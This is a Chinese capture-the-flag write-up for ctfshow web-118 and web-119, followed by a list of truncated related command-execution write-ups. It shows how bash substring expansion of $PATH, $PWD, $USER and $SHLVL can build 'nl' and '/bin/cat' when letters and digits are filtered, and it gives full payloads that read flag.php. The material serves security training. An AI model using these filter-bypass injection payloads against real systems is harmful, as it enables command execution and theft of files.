ctfshow-web-118

看下源码,是传入参数code,然后system执行,但是过滤了小写字母、数字等.

看提示

给了系统环境变量路径,而且知道flag在flag.php里,那我们可以构造命令来打开flag.

${var:position} 含义:从左到右,截取从position开始到最后的字符串(索引下标从0开始)
记忆:
去掉前面的position个字符。
${var:position:length} 含义: 在变量var中,从positon开始,匹配长度为length的字符串

${var:~length}
含义:取字符串最右侧(length+1)个字符

Shell中${}引用变量的高级用法__Monica_的博客-CSDN博客

可以构造一个短的nl命令来执行

给的环境变量路径最后一个字母是n,可以用${PATH:~0}构造,

但是数字过滤了,那可以用A代替,A是字符串转换为数字为0,

${PATH:~A}

${PWD}是当前目录,/var/www/html,可以用这个构造l

${PWD:~A}

完整payload:

${PATH:~A}${PWD:~A}$IFS????.???

ctfshow-web-119

这题相对于上题多过滤了PATH ,所以要重新构造,可以构造/bin/cat

${PWD} :/var/www/html
${USER} :www-data

/:${PWD::${#SHLVL}}
t:${USER:~${#SHLVL}:${#SHLVL}}

payload:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~${#SHLVL}:${#SHLVL}}$IFS????.???

再查看源码.

CTFshow-命令执行(4)相关推荐

  1. CTFshow——命令执行

    CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...

  2. CTFshow 命令执行 web72

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...

  3. [CTFSHOW]命令执行

    文章目录 web 29 web 30 web 31 web32 web33-36 web37 web38 web40 web41 web42 web43 web44 web45 web46 web47 ...

  4. CTFshow命令执行29-123

    命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...

  5. ctfshow命令执行篇

    web31 echo(`ls%09/`); echo(`tac%09fla*`); web32 过滤; 关键命令执行函数也不能用 用文件包含 其实这个做法也是靠刷题经验猜flag路径 c=includ ...

  6. [CTFSHOW]命令执行55-74

    web 55 if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\< ...

  7. ctfshow命令执行(持续更新,已更至web39)

    做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧. web29 web30 web31 web32 web33~36 web37 web38 web39 web29 题目如下: er ...

  8. ctfshow 命令执行 web29-web77 web118-122 web124 wp

    南神博客 文章目录 命令执行 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 w ...

  9. CTFshow 命令执行 web56

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...

  10. ctfshow命令执行

    目录 web33:[文件包含] web34: web35: web36:多过滤了0-9的数字,用参数逃逸可以不用数字,用字母就可以成功绕过 ,步骤一样,略 web37: web38: web39: w ...

最新文章

  1. Go 学习笔记(67)— Go 并发安全字典 sync.Map
  2. Java 8 - 自定义Collector
  3. easyui树形菜单生成算法,及在关系型数据库中的存储方式(非递归,高效算法)
  4. 解析 WordPress 插件机制
  5. 如何在代码中将menu隐藏_如何在40行代码中将机器学习用于光学/光子学应用
  6. MVC之前的那点事儿系列(4):Http Pipeline详细分析(上)
  7. 伪指令endp告诉汇编程序_全国2004年10月高等教育自学考试微型计算机原理及应用试题历年试卷...
  8. Unsupervised Learning | 对比学习——13篇论文综述
  9. 恩智浦智能车大赛----笔记
  10. mysql数据恢复(根据.ibd文件恢复数据)
  11. 华为2021届实习面试(技术面+主管面)
  12. 毕业设计必备案例:Python开发桌面程序——各种版本学生信息管理系统
  13. Ubuntu小技巧14--sed命令详解
  14. 微信发红包测试用例设计
  15. 记录中通自研面单功能
  16. 又一优雅的 K8s 开源桌面管理工具
  17. 5种让你入门免费学习编程的方法
  18. 软件工程职业方向有哪些
  19. 4.2.7 文字编辑
  20. 读现代操作系统第一二章笔记

热门文章

  1. 语义分割-地表建筑物识别的一种解决方案
  2. mysql 8.0设置密码 (doc命令)
  3. pyboard呼吸灯代码分享
  4. wordpress网站侧边栏添加广告位代码
  5. ubuntu下查看电脑系统信息
  6. 百度烽火算法升级:打击网站回退按钮恶意劫持问题
  7. linux大作业聊天室报告,Linux聊天室系统期末大作业.docx
  8. Matlab入门教程--基本运算与函数(一)
  9. Actin机器人控制软件,专注于机器人路径规划
  10. 离散数学复习笔记——图的着色